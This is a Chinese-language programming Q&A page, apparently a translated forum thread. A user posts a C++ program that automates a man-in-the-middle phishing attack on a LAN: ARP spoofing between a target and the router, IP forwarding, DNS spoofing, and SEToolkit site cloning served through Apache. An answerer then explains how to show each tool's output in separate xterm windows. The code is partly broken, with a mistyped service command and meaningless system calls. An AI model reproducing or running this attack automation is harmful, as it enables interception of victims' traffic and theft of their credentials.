我的问题是我的代码需要同时运行多个单独的窗口。这些窗口运行时,我还必须能够执行命令。两个连续运行的窗口正在侦听与LAN通信相关的信息。无论如何,我在Kali上运行,所以我不能使用ConsoleLoggerHelper文件,因为.h文件与windows.h有依赖关系,而在Linux上则不起作用。还有另一种方法可以在多个单独的窗口上创建和运行吗?该应用程序是使用Apache2,DNSspoof,ARPspoof和SEToolkit的MITM攻击的自动化。到目前为止,这是我的代码:
#include <iostream>
#include <stdio.h>
using namespace std;
int main()
{
string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;
//Remember to put in the option the change to interface type, i.e: wlan0
string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";
cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;
if (yorn == 'y')
{
cout << "What is the local IP address of your target?: ";
cin >> t_ip;
cout << "What is your local IP address?: ";
cin >> u_ip;
cout << "What is the EXACT URL of the website you wish to clone?: ";
cin >> site;
cout << "what do you wish the name your spoofed website to be?: ";
cin >> s_site;
system(enable_echo.c_str());
//New window
arp_t = arp_s + " " + t_ip + " " + router_ip;
system(arp_t.c_str());
//New window
arp_r = arp_s + " " + router_ip + " " + t_ip;
system(arp_r.c_str());
//New window
system(enable_apache.c_str());
//New window
system(set.c_str());
system("1");
system("2");
system("3");
system("2");
system(u_ip.c_str());
system(site.c_str());
//New window
system(s_dns.c_str());
return 0;
}
else
{
cout << "Aborting program..." << endl;
return 0;
}
}
答案 0 :(得分:3)
您正在尝试使用非常困难的方法来解决经典的小问题。您有几种解决方法:
第二个或多或少是最有效且最容易实现的。有关更多信息,您需要告诉我们更多有关您正在做什么以及您的工具链的信息。但是在所有这些解决方案中(第一个解决方案除外),都有多个过程。如果我正确地理解了您的问题,那么您将针对单一流程解决方案,我认为这是解决问题的非常困难的方法。
好,您正在使用cpp,我建议为您的不同输出打开多个fstream,例如
FILE* f = fopen("/path/to/one/file", "w+");
std::fstream myStream(f);
myStream << "Hello World\n";
然后使用输出这些文件的shell命令启动xterm的几个过程,例如:
tail -f /path/to/one/file
这将使它像这样:
system("gnome-terminal -x sh -c 'tail -f /path/to/one/file'");
或
system("xterm -e 'sh -c \"tail -f /path/to/one/file\"'");
甚至是
system("xterm -e 'tail -f /path/to/one/file'");
对每个输出执行一次此操作,您就完成了。只需继续写入这些fstream,它们将分别显示在其中一个控制台中。